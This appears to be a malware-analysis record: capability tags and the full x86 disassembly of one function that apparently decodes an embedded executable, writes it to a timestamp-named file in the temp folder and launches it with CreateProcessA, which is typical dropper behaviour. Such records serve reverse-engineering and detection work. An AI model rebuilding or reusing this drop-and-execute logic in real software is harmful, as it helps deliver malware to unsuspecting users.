Function at 0x1001e6e5
Capabilities:
Check for time delay via gettickcount
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x964
push edi
mov byte [ebp - 0x800], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x7ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x400], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x954], 0
mov dword [ebp - 0x950], 0
mov dword [ebp - 0x94c], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x948]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x964], 0
xor eax, eax
mov dword [ebp - 0x960], eax
mov dword [ebp - 0x95c], eax
mov dword [ebp - 0x958], eax
mov byte [ebp - 0x908], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x907]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, dword [0x10001034]
mov dword [ebp - 0x950], ecx
lea edx, [ebp - 0x908]
push edx
push 0xa
push 0x1001e4f4
call fcn.1001e520
add esp, 0xc
lea eax, [ebp - 0x908]
push eax
mov ecx, dword [ebp - 0x950]
push ecx
push 0x10001038
call fcn.1001e5f9
add esp, 0xc
lea edx, [ebp - 0x800]
push edx
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x800]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
movsx ecx, byte [ebp + eax - 0x801]
cmp ecx, 0x5c
je 0x1001e7fe
push 0x1001e500
lea edx, [ebp - 0x800]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x800]
push eax
lea ecx, [ebp - 0x400]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x1001e504
lea edx, [ebp - 0x800]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x800]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
xor ecx, ecx
mov cl, byte [0x10001038]
cmp ecx, 0x4d
jne 0x1001e856
xor edx, edx
mov dl, byte [0x10001039]
cmp edx, 0x5a
je 0x1001e85b
jmp 0x1001e9b2
push 0
push 0
push 4
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x800]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x804], eax
cmp dword [ebp - 0x804], 0xffffffff
je 0x1001e8b7
push 0
lea ecx, [ebp - 0x954]
push ecx
mov edx, dword [ebp - 0x950]
push edx
push 0x10001038
mov eax, dword [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x804]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1001e936
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x1001e50c
lea edx, [ebp - 0x800]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
push 4
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x800]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x804], eax
cmp dword [ebp - 0x804], 0xffffffff
je 0x1001e92f
push 0
lea ecx, [ebp - 0x954]
push ecx
mov edx, dword [ebp - 0x950]
push edx
push 0x10001038
mov eax, dword [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x804]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1001e936
mov byte [ebp - 0x800], 0
mov dword [ebp - 0x94c], 0x44
mov dword [ebp - 0x948], 0
mov dword [ebp - 0x944], 0
mov dword [ebp - 0x940], 0
mov dword [ebp - 0x920], 1
mov word [ebp - 0x91a], 0
mov dword [ebp - 0x918], 0
mov word [ebp - 0x91c], 0
lea edx, [ebp - 0x964]
push edx
lea eax, [ebp - 0x94c]
push eax
lea ecx, [ebp - 0x400]
push ecx
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x800]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
mov esp, ebp
pop ebp
ret